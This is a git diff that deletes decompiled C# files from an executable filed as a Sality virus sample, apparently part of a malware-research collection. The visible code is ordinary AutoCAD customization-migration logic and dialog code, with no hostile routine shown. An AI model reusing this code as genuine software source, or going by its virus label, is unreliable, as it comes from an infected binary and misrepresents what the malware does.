Directory.CreateDirectory(Path.GetDirectoryName(str1)); - File.Copy(this.TargetFile, str1, true); - if ((File.GetAttributes(str1) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str1, File.GetAttributes(str1) ^ FileAttributes.ReadOnly); - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str1); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - else - { - string marketReleaseVersion = this.GetProductMarketReleaseVersion(this._destInfo); - int length = str1.LastIndexOf(CustomizationSection.EXTENSION_OPC); - str1 = length <= -1 ? str1 + "_" + marketReleaseVersion + CustomizationSection.EXTENSION_OPC : str1.Substring(0, length) + "_" + marketReleaseVersion + CustomizationSection.EXTENSION_OPC; - try - { - if (!Directory.Exists(Path.GetDirectoryName(str1))) - Directory.CreateDirectory(Path.GetDirectoryName(str1)); - File.Copy(this.TargetFile, str1, true); - if ((File.GetAttributes(str1) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str1, File.GetAttributes(str1) ^ FileAttributes.ReadOnly); - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str1); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - } - else if (string.Compare(strA, str1, true, CultureInfo.InvariantCulture) != 0) - { - if (File.Exists(str1)) - { - string str6 = path + Path.GetFileName(str1); - if (!File.Exists(str6)) - { - try - { - if (!Directory.Exists(Path.GetDirectoryName(path))) - Directory.CreateDirectory(Path.GetDirectoryName(path)); - File.Copy(str1, str6, false); - if ((File.GetAttributes(str6) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str6, File.GetAttributes(str6) ^ FileAttributes.ReadOnly); - } - catch (UnauthorizedAccessException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str6); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - } - try - { - if (!Directory.Exists(Path.GetDirectoryName(str1))) - Directory.CreateDirectory(Path.GetDirectoryName(str1)); - File.Copy(this.SourceFile, str1, true); - if ((File.GetAttributes(str1) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly) - File.SetAttributes(str1, File.GetAttributes(str1) ^ FileAttributes.ReadOnly); - } - catch (Exception ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str1); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - } - } - try - { - MainForm.isTarget = true; - this.targetCUI = new CustomizationSection(str1, true, false); - } - catch (FileNotFoundException ex) - { - string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) this.SourceFile); - MainForm.Log2File(sLine); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine); - return false; - } - finally - { - MainForm.isTarget = false; - } - return true; - } - - internal string GetProductMarketReleaseVersion(ProductInfo prod) - { - int num = prod.m_productName.LastIndexOf(" "); - if (num != -1) - { - string marketReleaseVersion = prod.m_productName.Substring(num + 1).Trim(); - if (!string.IsNullOrEmpty(marketReleaseVersion)) - return marketReleaseVersion; - } - return prod.m_productName; - } - - public StringCollection GetPartialsFromSource() - { - StringCollection partialsFromSource = new StringCollection(); - if (this.sourceCUI.PartialCuiFiles != null && ((StringCollection) this.sourceCUI.PartialCuiFiles).Count > 0) - { - foreach (string partialCuiFile in (StringCollection) this.sourceCUI.PartialCuiFiles) - partialsFromSource.Add(partialCuiFile); - } - return partialsFromSource; - } - - public void CopyImagesDll() - { - if (this.AutodeskSourceFile) - return; - CUIFileMap cuiFileMap = (CUIFileMap) null; - if (this.sourceCUI != null && this.sourceCUI.MenuGroup != null) - cuiFileMap = MainForm.GetFileMapFromMenuGroup(this.sourceCUI.MenuGroup.Name); - string str1 = Path.GetDirectoryName(this.SourceFile) + "\\" + Path.GetFileNameWithoutExtension(this.SourceFile) + ".dll"; - if (!File.Exists(str1)) - return; - string destFileName = Path.GetDirectoryName(this.TargetFile) + "\\" + Path.GetFileNameWithoutExtension(cuiFileMap == null ? this.SourceFile : cuiFileMap.TargetFileName) + ".dll"; - try - { - File.Copy(str1, destFileName, false); - string str2 = string.Format(LocalResources.GetString("LOG_FILE_COPY"), (object) str1, (object) destFileName); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 3, str2); - } - catch (Exception ex) - { - string str3 = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) destFileName); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, str3); - } - } - - public static void RemoveUnresolvedReferences( - CUIFileMigrator main, - IList partials) - { - if (!main._sourceInfo.IsRaptor()) - return; - CUIFileMigrator.RemoveUnresolvedRibbonTabReferences(main, partials); - } - - public static void RemoveUnresolvedRibbonTabReferences( - CUIFileMigrator main, - IList partials) - { - CustomizationSection targetCui1 = main.targetCUI; - foreach (Workspace workspace in (CollectionBase) targetCui1.Workspaces) - { - IList tabSourceReferenceList = (IList) new List(); - foreach (WSRibbonTabSourceReference workspaceTab in (CollectionBase) workspace.WorkspaceRibbonRoot.WorkspaceTabs) - { - bool flag = null != targetCui1.MenuGroup.RibbonRoot.FindTab(workspaceTab.TabId); - if (!flag) - { - foreach (CUIFileMigrator partial in (IEnumerable) partials) - { - CustomizationSection targetCui2 = partial.targetCUI; - if (targetCui2 != null && targetCui2.MenuGroup.RibbonRoot.FindTab(workspaceTab.TabId) != null) - { - flag = true; - break; - } - } - } - if (!flag) - ((ICollection) tabSourceReferenceList).Add(workspaceTab); - } - foreach (WSRibbonTabSourceReference tabSourceReference in (IEnumerable) tabSourceReferenceList) - workspace.WorkspaceRibbonRoot.WorkspaceTabs.Remove(tabSourceReference); - } - if (!targetCui1.IsModified) - return; - targetCui1.Save(); - } - - internal static void AddSldOrSlbPath(string s, StringCollection sArray) - { - if (s == null || s == string.Empty || s.IndexOf(".") == -1) - return; - string lower = Path.GetExtension(s).ToLower(); - if (lower != ".sld" && lower != ".slb") - return; - bool flag = false; - for (int index = 0; index < sArray.Count; ++index) - { - if (string.Compare(sArray[index], s, true, CultureInfo.InvariantCulture) == 0) - { - flag = true; - break; - } - } - if (flag) - return; - sArray.Add(s); - } - - internal void CopySldAndSlbFiles() - { - if (this.targetCUI.MenuGroup.ImageMenus == null) - return; - StringCollection sArray = new StringCollection(); - foreach (ImageMenu imageMenu in (CollectionBase) this.targetCUI.MenuGroup.ImageMenus) - { - foreach (ImageMenuItem imageMenuItem in (CollectionBase) imageMenu.ImageMenuItems) - { - CUIFileMigrator.AddSldOrSlbPath(imageMenuItem.SlideName, sArray); - CUIFileMigrator.AddSldOrSlbPath(imageMenuItem.SlideLibrary, sArray); - } - } - foreach (string path1 in sArray) - { - string str1 = (string) null; - string destFileName = (string) null; - if (!File.Exists(path1)) - { - string path2 = Path.GetDirectoryName(this.SourceFile) + (object) Path.DirectorySeparatorChar + Path.GetFileName(path1); - if (File.Exists(path2)) - { - str1 = path2; - destFileName = Path.GetDirectoryName(this.TargetFile) + (object) Path.DirectorySeparatorChar + Path.GetFileName(path1); - } - if (str1 == null) - { - str1 = Migrator.FindFirstProfileSupportFile(MainForm.isACAD, Path.GetFileName(path1), MainForm.CurrentSourceProfilePath); - destFileName = Migrator.GetRoamableRootFolder(MainForm.customizationHostServices.RegProdRootKey) + "Support" + (object) Path.DirectorySeparatorChar + Path.GetFileName(path1); - } - if (str1 != null && destFileName != null) - { - if (File.Exists(str1)) - { - try - { - File.Copy(str1, destFileName, false); - string str2 = string.Format(LocalResources.GetString("LOG_FILE_COPY"), (object) str1, (object) destFileName); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 3, str2); - } - catch (IOException ex) - { - string str3 = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) destFileName); - CUIFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, str3); - } - } - } - } - } - } - - private void LTConvertMenuGroup() - { - if (this.sourceCUI.MenuGroup.Accelerators != null) - this.SimpleCloneModifiedItems((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.Accelerators, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.Accelerators); - if (this.sourceCUI.MenuGroup.TemporaryOverrides != null) - this.SimpleCloneModifiedItems((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.TemporaryOverrides, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.TemporaryOverrides); - if (this.sourceCUI.MenuGroup.MouseButtons != null) - this.SimpleCloneModifiedItems((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.MouseButtons, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.MouseButtons); - if (this.sourceCUI.MenuGroup.DigitizerButtons != null) - this.SimpleCloneModifiedItems((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.DigitizerButtons, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.DigitizerButtons); - if (this.sourceCUI.MenuGroup.QuickAccessToolbars != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.QuickAccessToolbars, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.QuickAccessToolbars); - if (this.sourceCUI.MenuGroup.PopMenus != null) - { - foreach (PopMenu popMenu in (CollectionBase) this.sourceCUI.MenuGroup.PopMenus) - { - if (this.targetCUI.MenuGroup.PopMenus.FindPopWithName(popMenu.Name) == null && !this.LTExcluded(popMenu.Name)) - { - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - this.targetCUI.MenuGroup.PopMenus.Clone(popMenu, (PopMenu) null, ref containerCloneAction); - } - } - foreach (PopMenu popMenu1 in (CollectionBase) this.sourceCUI.MenuGroup.PopMenus) - { - PopMenu popWithName = this.targetCUI.MenuGroup.PopMenus.FindPopWithName(popMenu1.Name); - if (popWithName != null) - { - foreach (PopMenuItemBase popMenuItem1 in (CollectionBase) popMenu1.PopMenuItems) - { - if (popMenuItem1 is PopMenuItem popMenuItem4 && ((VersionableElement) popMenuItem4).UserModified() && !popMenuItem4.IsSeparator) - { - bool flag = false; - foreach (PopMenuItemBase popMenuItem2 in (CollectionBase) popWithName.PopMenuItems) - { - if (popMenuItem2 is PopMenuItem popMenuItem3 && !popMenuItem3.IsSeparator && popMenuItem4.Name.Equals(popMenuItem3.Name, StringComparison.CurrentCultureIgnoreCase)) - { - ((CustomizationElement) popMenuItem3).Replace((CustomizationElement) popMenuItem4); - flag = true; - break; - } - } - if (!flag) - popWithName.PopMenuItems.Insert(popMenu1.PopMenuItems.IndexOf((PopMenuItemBase) popMenuItem4), (PopMenuItemBase) popMenuItem4); - } - } - foreach (PopMenuItemBase popMenuItem5 in (CollectionBase) popMenu1.PopMenuItems) - { - if (popMenuItem5 is PopMenuRef popMenuRef1 && ((VersionableElement) popMenuRef1).UserModified()) - { - bool flag = false; - PopMenu popMenu2 = this.sourceCUI.getPopMenu(popMenuRef1.MenuReference); - if (popMenu2 != null) - { - foreach (PopMenuItemBase popMenuItem6 in (CollectionBase) popWithName.PopMenuItems) - { - if (popMenuItem6 is PopMenuRef popMenuRef) - { - PopMenu popMenu3 = this.targetCUI.getPopMenu(popMenuRef.MenuReference); - if (popMenu3 != null && popMenu2.Name.Equals(popMenu3.Name, StringComparison.CurrentCultureIgnoreCase)) - flag = true; - } - } - if (!flag) - popWithName.PopMenuItems.Insert(popMenu1.PopMenuItems.IndexOf((PopMenuItemBase) popMenuRef1), (PopMenuItemBase) popMenuRef1); - } - } - } - } - } - } - if (this.sourceCUI.MenuGroup.Toolbars != null) - { - foreach (Toolbar toolbar in (CollectionBase) this.sourceCUI.MenuGroup.Toolbars) - { - if (this.targetCUI.MenuGroup.Toolbars.FindToolbarWithName(toolbar.Name) == null) - { - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - this.targetCUI.MenuGroup.Toolbars.Clone(toolbar, (Toolbar) null, ref containerCloneAction); - } - } - foreach (Toolbar toolbar1 in (CollectionBase) this.sourceCUI.MenuGroup.Toolbars) - { - Toolbar toolbarWithName = this.targetCUI.MenuGroup.Toolbars.FindToolbarWithName(toolbar1.Name); - if (toolbarWithName != null) - { - foreach (ToolbarItemBase toolbarItem1 in (CollectionBase) toolbar1.ToolbarItems) - { - if (toolbarItem1 is ToolbarButton toolbarButton1 && ((VersionableElement) toolbarButton1).UserModified() && !toolbarButton1.IsSeparator) - { - bool flag = false; - foreach (ToolbarItemBase toolbarItem2 in (CollectionBase) toolbarWithName.ToolbarItems) - { - if (toolbarItem2 is ToolbarButton toolbarButton && !toolbarButton.IsSeparator && toolbarButton1.Name.Equals(toolbarButton.Name, StringComparison.CurrentCultureIgnoreCase)) - { - ((CustomizationElement) toolbarButton).Replace((CustomizationElement) toolbarButton1); - flag = true; - break; - } - } - if (!flag) - toolbarWithName.ToolbarItems.Insert(toolbar1.ToolbarItems.IndexOf((ToolbarItemBase) toolbarButton1), (ToolbarItemBase) toolbarButton1); - } - } - foreach (ToolbarItemBase toolbarItem3 in (CollectionBase) toolbar1.ToolbarItems) - { - if (toolbarItem3 is ToolbarFlyout toolbarFlyout1 && ((VersionableElement) toolbarFlyout1).UserModified()) - { - bool flag = false; - Toolbar toolbar2 = this.sourceCUI.getToolbar(toolbarFlyout1.ToolbarReference); - if (toolbar2 != null) - { - foreach (ToolbarItemBase toolbarItem4 in (CollectionBase) toolbarWithName.ToolbarItems) - { - if (toolbarItem4 is ToolbarFlyout toolbarFlyout) - { - Toolbar toolbar3 = this.targetCUI.getToolbar(toolbarFlyout.ToolbarReference); - if (toolbar3 != null && toolbar2.Name.Equals(toolbar3.Name, StringComparison.CurrentCultureIgnoreCase)) - flag = true; - } - } - if (!flag) - toolbarWithName.ToolbarItems.Insert(toolbar1.ToolbarItems.IndexOf((ToolbarItemBase) toolbarFlyout1), (ToolbarItemBase) toolbarFlyout1); - } - } - } - foreach (ToolbarItemBase toolbarItem5 in (CollectionBase) toolbar1.ToolbarItems) - { - if (toolbarItem5 is ToolbarControl toolbarControl1) - { - bool flag = false; - foreach (ToolbarItemBase toolbarItem6 in (CollectionBase) toolbarWithName.ToolbarItems) - { - if (toolbarItem6 is ToolbarControl toolbarControl && toolbarControl1.ControlType == toolbarControl.ControlType) - flag = true; - } - if (!flag) - toolbarWithName.ToolbarItems.Insert(toolbar1.ToolbarItems.IndexOf((ToolbarItemBase) toolbarControl1), (ToolbarItemBase) toolbarControl1); - } - } - } - } - } - if (this.sourceCUI.MenuGroup.ScreenMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.ScreenMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.ScreenMenus); - if (this.sourceCUI.MenuGroup.ImageMenus != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.ImageMenus, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.ImageMenus); - if (this.sourceCUI.MenuGroup.DoubleClickActions != null) - this.GenericMigration((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.DoubleClickActions, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.DoubleClickActions); - if (this.sourceCUI.MenuGroup.QuickPropertiesObjectTypes != null) - this.GenericObjectTypes((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.QuickPropertiesObjectTypes, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.QuickPropertiesObjectTypes); - if (this.sourceCUI.MenuGroup.RolloverTooltipObjectTypes == null) - return; - this.GenericObjectTypes((MenuGroupItemsCollection) this.sourceCUI.MenuGroup.RolloverTooltipObjectTypes, (MenuGroupItemsCollection) this.targetCUI.MenuGroup.RolloverTooltipObjectTypes); - } - - private bool LTExcluded(string menuName) => menuName.Equals("Block Objects Menu", StringComparison.CurrentCultureIgnoreCase) || menuName.Equals("&Viewports", StringComparison.CurrentCultureIgnoreCase) || menuName.Equals("&Layout", StringComparison.CurrentCultureIgnoreCase) || menuName.Equals("Ne&w UCS", StringComparison.CurrentCultureIgnoreCase) || menuName.Equals("Unmaximized Viewport Menu", StringComparison.CurrentCultureIgnoreCase) || menuName.Equals("L&ayer tools", StringComparison.CurrentCultureIgnoreCase); - - private void SimpleCloneModifiedItems( - MenuGroupItemsCollection smgCollection, - MenuGroupItemsCollection tmgCollection) - { - foreach (CustomizationElement smg in (CollectionBase) smgCollection) - { - if (((VersionableElement) smg).UserModified()) - { - ContainerCloneAction containerCloneAction = (ContainerCloneAction) 1; - tmgCollection.Clone(smg, (CustomizationElement) null, ref containerCloneAction); - } - } - } - - internal void setParentCUIFile(CUIFileMigrator parent) - { - if (parent == null || parent.targetCUI == null || this.targetCUI == null) - return; - this.targetCUI.ParentCUI = parent.targetCUI; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustElementLocation.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustElementLocation.cs deleted file mode 100644 index 10f0ba9c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustElementLocation.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.CustElementLocation -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using Autodesk.AutoCAD.Customization; - -namespace Autodesk.AutoCAD.ADMigrator -{ - internal class CustElementLocation - { - public CustomizationElement CustElement; - public CustomizationElement insertAfter; - public int offset; - - public CustElementLocation(CustomizationElement CEin) - { - this.CustElement = CEin; - this.insertAfter = (CustomizationElement) null; - this.offset = 0; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustomizationHostServices.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustomizationHostServices.cs deleted file mode 100644 index 729361c8..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/CustomizationHostServices.cs +++ /dev/null @@ -1,101 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.CustomizationHostServices -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using Autodesk.AutoCAD.Customization; -using Autodesk.AutoCAD.CustomMigrator; -using Microsoft.Win32; -using System; -using System.Collections; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class CustomizationHostServices : IHostServices - { - private string _regProdRootKey; - private string _enterpriseCUI; - private string _mainCUI; - - internal string RegProdRootKey - { - get => this._regProdRootKey; - set => this._regProdRootKey = value; - } - - internal string EnterpriseCuiFile - { - get => this._enterpriseCUI; - set => this._enterpriseCUI = value; - } - - internal string MainCuiFile - { - get => this._mainCUI; - set => this._mainCUI = value; - } - - public string GetDieselEvalString(string dieselExpression) => dieselExpression; - - public string RegistryProductRootKey() => this.RegProdRootKey; - - public void DisplayMessage(string message, string title) - { - int num = (int) MessageBox.Show(message, title); - } - - public void WriteMessage(string message) => MainForm.Log2File(message); - - public int QueryMode() => 0; - - public bool IsOEM() => false; - - public string FindFile(string fileName) - { - string file = (string) null; - string str = MainForm.isTarget ? MainForm.CurrentTargetProfilePath : MainForm.CurrentSourceProfilePath; - try - { - file = str == null ? Migrator.FindFirstDefaultSupportFile(MainForm.isACAD, fileName, this.RegProdRootKey) : Migrator.FindFirstProfileSupportFile(MainForm.isACAD, fileName, str); - if (string.IsNullOrEmpty(file)) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Migrator.StripWOWFromCURegKey(str) + "\\General Configuration"); - string path1 = registryKey.GetValue("IconFilePath") as string; - registryKey.Close(); - if (string.IsNullOrEmpty(path1) && MainForm._theForm._Migrator.SourceProdInfo != null) - path1 = Path.Combine(Migrator.GetRoamableRootFolder(MainForm.isTarget ? MainForm._theForm.ProductRegistryRootKey : MainForm._theForm._Migrator.SourceProdInfo.m_regRootKey), "support\\icons"); - if (!string.IsNullOrEmpty(path1)) - { - string path = Path.Combine(path1, fileName); - if (File.Exists(path)) - file = path; - } - } - } - catch (Exception ex) - { - } - return file; - } - - public CustomizationSection EnterpriseCUIFile() => (CustomizationSection) null; - - public CustomizationSection MainCUIFile() => (CustomizationSection) null; - - public void InsertMenuOnMenuBar(string menuGroupName, string alias) - { - } - - public ArrayList GetLoadedMenuGroupNames() => new ArrayList(); - - public void GeneratePropertyCollection(ObjectType ot) - { - } - - public Bitmap GetCachedImage(string imageId, bool return_null) => (Bitmap) null; - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/DisposableContainer.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/DisposableContainer.cs deleted file mode 100644 index 45613f31..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/DisposableContainer.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.DisposableContainer -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System; -using System.Collections.Generic; - -namespace Autodesk.AutoCAD.ADMigrator -{ - internal class DisposableContainer : IDisposable - { - private IList m_objectList = (IList) new List(); - - internal void AddDisposableObject(IDisposable disposable) - { - if (disposable == null || this.m_objectList.Contains(disposable)) - return; - this.m_objectList.Add(disposable); - } - - public void Dispose() - { - foreach (IDisposable disposable in (IEnumerable) this.m_objectList) - disposable.Dispose(); - this.m_objectList.Clear(); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.cs deleted file mode 100644 index ebd4d877..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.ExportDialog -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System; -using System.ComponentModel; -using System.Reflection; -using System.Windows.Forms; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class ExportDialog : Form - { - private bool m_includeNetworkedFiles = true; - private MainForm parent; - private IContainer components; - private Button btnExport; - private Button btnCancel; - private Button btnHelp; - private CheckBox cbIncNetFiles; - private Label ExportBodyLabel; - private BindingSource exportDialogBindingSource; - - public bool IncludeNetworkedFiles => this.m_includeNetworkedFiles; - - public ExportDialog(MainForm mf) - { - this.parent = mf; - this.InitializeComponent(); - } - - public Label BodyMessage => this.ExportBodyLabel; - - private void cbIncNetFiles_CheckedChanged(object sender, EventArgs e) => this.m_includeNetworkedFiles = this.cbIncNetFiles.Checked; - - private void btnHelp_Click(object sender, EventArgs e) - { - string location = Assembly.GetEntryAssembly().Location; - string str = (MainForm.isACAD ? "acad" : "acadlt") + "_sig.chm"; - string url = location.Substring(0, location.LastIndexOf("\\") + 1) + "help\\" + str; - string parameter = "adExpCustSettings.htm"; - if (MainForm.m_isVertMigration) - this.parent.CallVerticalMigration("VerticalHelp", new object[3] - { - (object) this, - (object) url, - (object) parameter - }); - else - Help.ShowHelp((Control) this, url, HelpNavigator.Topic, (object) parameter); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ExportDialog)); - this.btnExport = new Button(); - this.btnCancel = new Button(); - this.btnHelp = new Button(); - this.cbIncNetFiles = new CheckBox(); - this.ExportBodyLabel = new Label(); - this.exportDialogBindingSource = new BindingSource(this.components); - ((ISupportInitialize) this.exportDialogBindingSource).BeginInit(); - this.SuspendLayout(); - componentResourceManager.ApplyResources((object) this.btnExport, "btnExport"); - this.btnExport.DialogResult = DialogResult.OK; - this.btnExport.Name = "btnExport"; - this.btnExport.UseVisualStyleBackColor = true; - componentResourceManager.ApplyResources((object) this.btnCancel, "btnCancel"); - this.btnCancel.DialogResult = DialogResult.Cancel; - this.btnCancel.Name = "btnCancel"; - this.btnCancel.UseVisualStyleBackColor = true; - componentResourceManager.ApplyResources((object) this.btnHelp, "btnHelp"); - this.btnHelp.Name = "btnHelp"; - this.btnHelp.UseVisualStyleBackColor = true; - this.btnHelp.Click += new EventHandler(this.btnHelp_Click); - componentResourceManager.ApplyResources((object) this.cbIncNetFiles, "cbIncNetFiles"); - this.cbIncNetFiles.Checked = true; - this.cbIncNetFiles.CheckState = CheckState.Checked; - this.cbIncNetFiles.Name = "cbIncNetFiles"; - this.cbIncNetFiles.UseVisualStyleBackColor = true; - this.cbIncNetFiles.CheckedChanged += new EventHandler(this.cbIncNetFiles_CheckedChanged); - componentResourceManager.ApplyResources((object) this.ExportBodyLabel, "ExportBodyLabel"); - this.ExportBodyLabel.Name = "ExportBodyLabel"; - this.ExportBodyLabel.UseCompatibleTextRendering = true; - this.exportDialogBindingSource.DataSource = (object) typeof (ExportDialog); - componentResourceManager.ApplyResources((object) this, "$this"); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.ExportBodyLabel); - this.Controls.Add((Control) this.cbIncNetFiles); - this.Controls.Add((Control) this.btnHelp); - this.Controls.Add((Control) this.btnCancel); - this.Controls.Add((Control) this.btnExport); - this.FormBorderStyle = FormBorderStyle.Fixed3D; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (ExportDialog); - this.SizeGripStyle = SizeGripStyle.Hide; - ((ISupportInitialize) this.exportDialogBindingSource).EndInit(); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.resx deleted file mode 100644 index 694919fa..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ExportDialog.resx +++ /dev/null @@ -1,286 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAADdAAAAdQAAAAs= - - - 4 - - - 